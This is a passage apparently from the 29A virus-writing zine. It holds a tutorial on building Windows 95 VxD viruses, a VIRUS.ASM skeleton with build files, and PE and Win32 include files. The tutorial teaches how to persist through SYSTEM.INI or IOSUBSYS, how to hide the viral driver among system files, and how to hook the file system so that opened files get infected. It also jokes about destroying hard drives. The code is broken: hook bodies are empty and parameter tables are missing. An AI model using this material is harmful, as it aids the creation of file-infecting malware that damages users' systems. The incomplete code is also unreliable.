system control messages are received. That is, run the ViRuS_Critical_Init
procedure when a Sys_Critical_Init is received, and whenever a Device_Init
message is received, run the ViRuS_Device_Init procedure.
- System_Exit: this is the first message we will get on system shut down.
Although interruptions are enabled, the services Simulate_Int and Exec_
Int mustn't be used.
In order to tell Windows95 to load our VxD we must add a line, DEVICE=VI-
RUS.VxD, to the [386Enh] section in the SYSTEM.INI, then copy the VxD to
the \SYSTEM directory and reboot the system. Another solution is shown, for
instance, in the Win95.Lizard virus by Reptile/29A, included in this issue.
The trick consists on using the \IOSUBSYS directory.
ECX -> 32-bit pointer, points to the entry for the real mode initializa-
tion services routine, which allows things such as reading the re-
gistry or SYSTEM.INI.
Our VxD may indicate the Virtual Machine Manager to perform several func-
tions, such as reserving physical pages, by returned parameters:
AX -> action.
BX -> points to an array with the numbers of the pages to reserve for
the VxD. This array ends in a NULL and contains pages ranging from
0000h to 0100h. If we don't want to reserve any pages, this value
is kept equal to 0000h.
Get_Cur_VM_Handle
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get in EBX a handle about the VM being executed right now.
VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx
Get_Sys_VM_Handle
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get in EBX a handle about the system VM.
VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx
Get_VMM_Version
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get info about the VMM version.
VMMcall Get_VMM_Version
mov [Major],ah ; Major version number
mov [Minor],al ; Minor version number
mov [Debug],ecx ; Revision number
Get_Config_Directory
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This great function provides us with the complete path to the directory
where Windows mantains the system files such as SYSTEM.INI.
VMMcall Get_Config_Directory
mov [win_path],edx
Get_Exec_Path
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get a pointer to the path where Windows keeps the VMM32.VXD file. This
will be the best directory regarding to save our viral VxD, hidden bet-
ween system files in \SYSTEM.
VMMcall Get_Exec_Path
mov [path_ptr],edx
mov [length],ecx
The ECX register keeps the number of characters in the path string, in-
cluding last backlash "\".
_HeapAllocate
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Allocate memory in system's heap.
VMMcall _HeapAllocate,<#bytes,flags>
_HeapFree
ÄÄÄÄÄÄÄÄÄ
Free a memory block allocated with last function.
VMMcall _HeapFree,<block_ptr,flags>
Hook_V86_Int_Chain
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Add a new handler to a V86 interruption. Gollum virus uses this service
in order to monitor calls to the interrupt 21h.
VMMcall Unhook_V86_Int_Chain
jc error ; Carry set if error encountered
To perform our operations on files we will use a service which will provide
us with the most common functions such as read, write, etc. Here it is:
; Requiered Params
mov cx,0 ; - Attributes
mov bx,2 ; - Flags
mov dx,0011h ; - Action and special flags
mov esi,OFFSET32 filename ; - Guess what??? ;)
Then the only thing we need in order to start is to know how to call every
function and how to pass the params. Well, this is the I/O form of some of
the functions we will mostly use...
OpenCreateFile
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
We will use this function to open or create files. Input params are:
if CF=0
if CF=1 error
ReadFile
ÄÄÄÄÄÄÄÄ
With R0_READFILE we'll read bytes from a previously opened file (with the
R0_OPENCREATEFILE call). Following parameters are expected:
Output:
WriteFile
ÄÄÄÄÄÄÄÄÄ
That is, write into a file, params are:
Output:
CloseFile
ÄÄÄÄÄÄÄÄÄ
In order to close a just infected file ;) The input params are:
Output:
GetFileSize
ÄÄÄÄÄÄÄÄÄÄÄ
I'm sure we'll find it useful. Use these parameters:
As a result:
And well, we could start now, however we'll still need some more, such as
FileAttributes, RenameFile, DeleteFile, or GetDiskFreeSpace. As a colorful
note we also have WriteAbsoluteDisk and ReadAbsoluteDisk to fuck around a
bit if we don't like hard drives... :)
So we already know how to get on files, now we need to know how to hook up
to the File System so we can monitor its activity. We'll use an IFS manager
service, like this:
This way we tell the file system the address of our monitor procedure. Lets
see an example on writing this procedure...
hook_procedure:
add esp,00000018h
; RETurn
leave
ret
Cannonicalized paths
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Every path IFS manager passes to the FSD's is in Unicode. A cannonicalized
path has quite different structure from that of C:\DOS we know so well ;)
1 WORD with the path's length (including this WORD but not the final NULL
character).
1 WORD with the offset of the path element of the string, each path ele-
ment keeps info about a path's part.
All cannonicalized paths contain a complete path from the partition root.
IFSMgr_GetVersion
Input:
Output:
; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
MASM=1
.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ifs.inc
INCLUDE ifsmgr.inc
INCLUDE SheLL.Inc
.LIST
VxD_REAL_INIT_SEG
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 real mode initialization code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
BeginProc VxD_Real_Init_Proc
; Installation check
test bx,Duplicate_Device_ID
jnz short abort_virus_load
xor bx,bx
xor si,si
xor edx,edx
mov ax,Device_Load_Ok
ret
abort_virus_load:
; Abort device loading process
EndProc VxD_Real_Init_Proc
VxD_REAL_INIT_ENDS
VxD_LOCKED_DATA_SEG
VxD_LOCKED_CODE_SEG
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 device init ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
BeginProc VXD_Device_Init
cld
VxDCall IFSMgr_Get_Version
jc exit_device_init
VMMCall Get_Exec_Path
mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb
add esp,00000004h
or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax
exit_device_init:
clc
ret
error_device_init:
stc
ret
EndProc VXD_Device_Init
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 file API hook ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
BeginProc virus_FS_Monitor
push ebp
mov ebp,esp
sub esp,20h
add esp,00000018h
; Back to caller
leave
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Open file/create a file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
virus_OPEN_FILE:
; Save regs
pushfd
pushad
popad
popfd
jmp exit_FS_hook
EndProc virus_FS_Monitor
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 VxD control dispatcher ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
BeginProc VXD_Control
Control_Dispatch Device_Init, VxD_Device_Init
clc
ret
EndProc VXD_Control
VxD_LOCKED_CODE_ENDS
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus buffers into locked data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
VxD_LOCKED_DATA_ENDS
END
; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
LIBRARY VXD
DESCRIPTION 'ViRuS95'
EXETYPE DEV386
SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE
EXPORTS
VXD_DDB @1
; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP
VIRUS.def
; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
NAME = VIRUS
LINK = link386.exe
!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif
all : VIRUS.vxd
ASM = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML
GriYo/29A
IMAGE_DOS_HEADER STRUC
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP (?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
MZ_oeminfo DW ? ; OEM information; e_oemid specific
MZ_res2 DW 10 DUP (?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS
; - -[PE.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; Portable Executable format
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all the constantz and structurez needed to work
; with the PE (Portable Executable) format from inside ASM filez. For exclu-
; sive use with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.
IMAGE_REL_BASED_ABSOLUTE EQU 0
IMAGE_REL_BASED_HIGH EQU 1
IMAGE_REL_BASED_LOW EQU 2
IMAGE_REL_BASED_HIGHLOW EQU 3
IMAGE_REL_BASED_HIGHADJ EQU 4
IMAGE_REL_BASED_MIPS_JMPADDR EQU 5
IMAGE_RELOCATION_DATA RECORD {
RD_RelocType :4
RD_RelocOffset :12
}
IMAGE_BASE_RELOCATION STRUC
BR_VirtualAddress DD ?
BR_SizeOfBlock DD ?
; BR_TypeOffset IMAGE_RELOCATION_DATA 1 DUP (?) ; Array of zero or more
relocations (type + RVAs)
IMAGE_BASE_RELOCATION ENDS
IMAGE_IMPORT_BY_NAME STRUC
IBN_Hint DW ?
IBN_Name DB 1 DUP (?) ; ASCIIZ function name (variable size)
IMAGE_IMPORT_BY_NAME ENDS
IMAGE_THUNK_DATA STRUC
UNION
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME
structure
TD_Ordinal DD ? ; Ordinal ORed with
IMAGE_ORDINAL_FLAG
TD_Function DD BYTE PTR ? ; CODE PTR ; Ptr to function (i.e. Function
address after program load)
TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.
ENDS
IMAGE_THUNK_DATA ENDS
IMAGE_IMPORT_DESCRIPTOR STRUC
UNION
ID_Characteristics DD ? ; 0 for terminating null import
descriptor
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
ENDS
ID_TimeDateStamp DD ? ; 0 if not bound,
; -1 if bound, and real date\time stamp
; in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new
BIND)
; O.W. date/time stamp of DLL bound to (Old BIND)
ID_ForwarderChain DD ? ; -1 if no forwarders
ID_Name DD BYTE PTR ? ; RVA to name of imported DLL
ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT (if bound this IAT
has actual addresses)
IMAGE_IMPORT_DESCRIPTOR ENDS
IMAGE_EXPORT_DIRECTORY STRUC
ED_Characteristics DD ?
ED_TimeDateStamp DD ?
ED_MajorVersion DW ?
ED_MinorVersion DW ?
ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL
UNION
ED_Base DD ?
ED_BaseOrdinal DD ?
ENDS
ED_NumberOfFunctions DD ?
UNION
ED_NumberOfNames DD ?
ED_NumberOfOrdinals DD ?
ENDS
ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses
ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses
UNION
ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of ordinals
ED_AddressOfOrdinals DD WORD PTR ? ;
ENDS
IMAGE_EXPORT_DIRECTORY ENDS
IMAGE_SECTION_HEADER STRUC
SH_Name DB IMAGE_SIZEOF_SHORT_NAME DUP (?)
UNION
SH_PhysicalAddress DD BYTE PTR ?
SH_VirtualSize DD ?
ENDS
SH_VirtualAddress DD BYTE PTR ?
SH_SizeOfRawData DD ?
SH_PointerToRawData DD BYTE PTR ?
SH_PointerToRelocations DD BYTE PTR ?
SH_PointerToLinenumbers DD BYTE PTR ?
SH_NumberOfRelocations DW ?
SH_NumberOfLinenumbers DW ?
SH_Characteristics DD ?
IMAGE_SECTION_HEADER ENDS
IMAGE_NUMBEROF_DIRECTORY_ENTRIES EQU 16
IMAGE_DATA_DIRECTORY STRUC
DD_VirtualAddress DD BYTE PTR ?
DD_Size DD ?
IMAGE_DATA_DIRECTORY ENDS
IMAGE_DIRECTORY_ENTRIES STRUC
DE_Export IMAGE_DATA_DIRECTORY ?
DE_Import IMAGE_DATA_DIRECTORY ?
DE_Resource IMAGE_DATA_DIRECTORY ?
DE_Exception IMAGE_DATA_DIRECTORY ?
DE_Security IMAGE_DATA_DIRECTORY ?
DE_BaseReloc IMAGE_DATA_DIRECTORY ?
DE_Debug IMAGE_DATA_DIRECTORY ?
DE_Copyright IMAGE_DATA_DIRECTORY ?
DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
DE_TLS IMAGE_DATA_DIRECTORY ?
DE_LoadConfig IMAGE_DATA_DIRECTORY ?
DE_BoundImport IMAGE_DATA_DIRECTORY ?
DE_IAT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRIES ENDS
; ÄÄ´ OH_LoaderFlags valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IMAGE_OPTIONAL_HEADER STRUC
; Standard fields:
OH_Magic DW ?
OH_MajorLinkerVersion DB ?
OH_MinorLinkerVersion DB ?
OH_SizeOfCode DD ?
OH_SizeOfInitializedData DD ?
OH_SizeOfUninitializedData DD ?
OH_AddressOfEntryPoint DD BYTE PTR ?
OH_BaseOfCode DD BYTE PTR ?
OH_BaseOfData DD BYTE PTR ?
; NT additional fields:
OH_ImageBase DD BYTE PTR ?
OH_SectionAlignment DD ?
OH_FileAlignment DD ?
OH_MajorOperatingSystemVersion DW ?
OH_MinorOperatingSystemVersion DW ?
OH_MajorImageVersion DW ?
OH_MinorImageVersion DW ?
OH_MajorSubsystemVersion DW ?
OH_MinorSubsystemVersion DW ?
OH_Reserved1 DD ?
OH_SizeOfImage DD ?
OH_SizeOfHeaders DD ?
OH_CheckSum DD ?
OH_Subsystem DW ?
OH_DllCharacteristics DW ?
OH_SizeOfStackReserve DD ?
OH_SizeOfStackCommit DD ?
OH_SizeOfHeapReserve DD ?
OH_SizeOfHeapCommit DD ?
OH_LoaderFlags DD ?
OH_NumberOfRvaAndSizes DD ?
UNION
OH_DataDirectory IMAGE_DATA_DIRECTORY \
IMAGE_NUMBEROF_DIRECTORY_ENTRIES \
DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ENDS
IMAGE_OPTIONAL_HEADER ENDS
IMAGE_FILE_MACHINE_UNKNOWN EQU 0
IMAGE_FILE_MACHINE_I386 EQU 14Ch ; Intel 386
IMAGE_FILE_MACHINE_R3000 EQU 162h ; MIPS L-endian, 0160h B-endian
IMAGE_FILE_MACHINE_R4000 EQU 166h ; MIPS L-endian
IMAGE_FILE_MACHINE_R10000 EQU 168h ; MIPS L-endian
IMAGE_FILE_MACHINE_ALPHA EQU 184h ; Alpha_AXP
IMAGE_FILE_MACHINE_POWERPC EQU 1F0h ; IBM PowerPC L-Endian
IMAGE_FILE_HEADER STRUC
FH_Machine DW ?
FH_NumberOfSections DW ?
FH_TimeDateStamp DD ?
FH_PointerToSymbolTable DD BYTE PTR ?
FH_NumberOfSymbols DD ?
FH_SizeOfOptionalHeader DW ?
FH_Characteristics DW ?
IMAGE_FILE_HEADER ENDS
IMAGE_NT_HEADERS STRUC
NT_Signature DD ?
NT_FileHeader IMAGE_FILE_HEADER ?
NT_OptionalHeader IMAGE_OPTIONAL_HEADER ?
IMAGE_NT_HEADERS ENDS
; - -[USEFUL.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; Basic useful structurez
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all basic constantz and general common structu-
; rez needed to work with other include and source ASM filez. This file will
; work only with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.
LF equ 10
CR equ 13
CRLF equ <13,10>
lo_hi_byte_word struc
union
struc
lob db ?
hib db ?
ends
lo_w dw ?
ends
hiw dw ?
lo_hi_byte_word ends
Pusha_struc struc
Pusha_di dw ?
Pusha_si dw ?
Pusha_bp dw ?
Pusha_sp dw ?
Pusha_bx dw ?
Pusha_dx dw ?
Pusha_cx dw ?
Pusha_ax dw ?
Pusha_struc ends
Pushad_struc struc
Pushad_edi dd ?
Pushad_esi dd ?
Pushad_ebp dd ?
Pushad_esp dd ?
Pushad_ebx dd ?
Pushad_edx dd ?
Pushad_ecx dd ?
Pushad_eax dd ?
Pushad_struc ends
cPushad equ size Pushad_struc
@copysz macro
local nxtchr
nxtchr: lodsb
stosb
or al,al
jnz nxtchr
endm
@endsz macro
local nxtchr
nxtchr: lodsb
test al,al
jnz nxtchr
endm
if @WordSize eq 2 ; 16 bits
API_Args struc
RetAddr dw ?
union
Pshd dw ? ;pushed
Arg1 dw ?
ends
irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16>
Arg&Num dw ?
endm
API_Args ends
endif
if @WordSize eq 4 ; 32 bits
API_Args struc
RetAddr dd ?
union
Pshd dd ? ;pushed
Arg1 dd ?
ends
irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16>
Arg&Num dd ?
endm
API_Args ends
endif
; - -[WIN32API.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; Win32 API definitionz
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains some of the constantz and structurez needed to
; work with typical Win32 API functionz from inside ASM filez. This file can
; work only with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.
NULL EQU 0
FALSE EQU 0
TRUE EQU 1
MAX_PATH EQU 260
INVALID_HANDLE_VALUE EQU -1
STANDARD_RIGHTS_REQUIRED EQU 000F0000h
CREATE_NEW EQU 1
CREATE_ALWAYS EQU 2
OPEN_EXISTING EQU 3
OPEN_ALWAYS EQU 4
TRUNCATE_EXISTING EQU 5
; ÄÄ´ File attributez and flag valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
WIN32_FIND_DATA STRUC
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB MAX_PATH DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?) ; dword padding
WIN32_FIND_DATA ENDS
SIZE_OF_80387_REGISTERS EQU 80
FLOATING_SAVE_AREA STRUC
ControlWord DD ?
StatusWord DD ?
TagWord DD ?
ErrorOffset DD ?
ErrorSelector DD ?
DataOffset DD ?
DataSelector DD ?
RegisterArea DB SIZE_OF_80387_REGISTERS DUP (?)
Cr0NpxState DD ?
FLOATING_SAVE_AREA ENDS
; Context Frame:
CONTEXT STRUC
CONTEXT_ContextFlags DD ?
CONTEXT_Dr0 DD ?
CONTEXT_Dr1 DD ?
CONTEXT_Dr2 DD ?
CONTEXT_Dr3 DD ?
CONTEXT_Dr6 DD ?
CONTEXT_Dr7 DD ?
CONTEXT_FloatSave FLOATING_SAVE_AREA ?
CONTEXT_SegGs DD ?
CONTEXT_SegFs DD ?
CONTEXT_SegEs DD ?
CONTEXT_SegDs DD ?
CONTEXT_Edi DD ?
CONTEXT_Esi DD ?
CONTEXT_Ebx DD ?
CONTEXT_Edx DD ?
CONTEXT_Ecx DD ?
CONTEXT_Eax DD ?
CONTEXT_Ebp DD ?
CONTEXT_Eip DD ?
CONTEXT_SegCs DD ? ; MUST BE SANITIZED
CONTEXT_EFlags DD ? ; MUST BE SANITIZED
CONTEXT_Esp DD ?
CONTEXT_SegSs DD ?
CONTEXT ENDS
EXCEPTION_RECORD STRUC
ER_ExceptionCode DD ?
ER_ExceptionFlags DD ?
ER_ExceptionRecord DD EXCEPTION_RECORD PTR ?
ER_ExceptionAddress DD BYTE PTR ? ; CODE PTR
ER_NumberParameters DD ?
ER_ExceptionInformation DD EXCEPTION_MAXIMUM_PARAMETERS DUP (?)
EXCEPTION_RECORD ENDS
EXCEPTION_POINTERS STRUC
EP_ExceptionRecord DD EXCEPTION_RECORD PTR ?
EP_ContextRecord DD CONTEXT PTR ?
EXCEPTION_POINTERS ENDS
EXCEPTION_EXECUTE_HANDLER EQU 1
EXCEPTION_CONTINUE_SEARCH EQU 0
EXCEPTION_CONTINUE_EXECUTION EQU -1
Except_Handler STRUC
EH_Dummy DD ? ; Ret address
EH_ExceptionRecord DD EXCEPTION_RECORD PTR ?
EH_EstablisherFrame DD BYTE PTR ?
EH_ContextRecord DD CONTEXT PTR ?
EH_DispatcherContext DD BYTE PTR ?
Except_Handler ENDS
comment #
// Exception disposition return values.
comment *
HANDLE CreateFileA
(ptr) lpFileName ; ptr to name of file
dwDesiredAccess ; access (read-write) mode
dwShareMode ; share mode
(ptr) lpSecurityAttributes ; ptr to SECURITY_ATTRIBUTES struc
dwCreationDisposition ; how to create
dwFlagsAndAttributes ; file and flag attributez
(hnd) hTemplateFile ; handle to file with attributez to copy
; dwDesiredAccess valuez:
GENERIC_READ
GENERIC_WRITE
; dwShareMode valuez:
0 ; not shared
FILE_SHARE_READ
FILE_SHARE_WRITE
; dwCreationDisposition valuez:
CREATE_NEW
CREATE_ALWAYS
OPEN_EXISTING
OPEN_ALWAYS
TRUNCATE_EXISTING
; dwFlagsAndAttributes valuez:
FILE_ATTRIBUTE_READONLY
FILE_ATTRIBUTE_HIDDEN
FILE_ATTRIBUTE_SYSTEM
FILE_ATTRIBUTE_ARCHIVE
FILE_ATTRIBUTE_NORMAL
FILE_ATTRIBUTE_COMPRESSED
FILE_FLAG_WRITE_THROUGH
FILE_FLAG_OVERLAPPED
FILE_FLAG_NO_BUFFERING
FILE_FLAG_RANDOM_ACCESS
FILE_FLAG_SEQUENTIAL_SCAN
FILE_FLAG_DELETE_ON_CLOSE
FILE_FLAG_BACKUP_SEMANTICS
FILE_FLAG_POSIX_SEMANTICS
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HANDLE CreateFileMappingA
(hnd) hFile ; file handle to map
(ptr) lpFileMappingAttributes ; ptr to SECURITY_ATTRIBUTES struc
flProtect ; protection for mapping object
dwMaximumSizeHigh ; high-order 32 bitz of object size
dwMaximumSizeLow ; low-order 32 bitz of object size
(ptr) lpName ; name of file-mapping object
; flProtect valuez:
PAGE_READONLY
PAGE_READWRITE
PAGE_WRITECOPY
SEC_COMMIT
SEC_IMAGE
SEC_NOCACHE
SEC_RESERVE
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
LPVOID MapViewOfFile
(hnd) hFileMappingObject ; mapping object to map into address space
dwDesiredAccess ; access mode
dwFileOffsetHigh ; high-order 32 bitz of file offset
dwFileOffsetLow ; low-order 32 bitz of file offset
dwNumberOfBytesToMap ; number of bytez to map
; dwDesiredAccess:
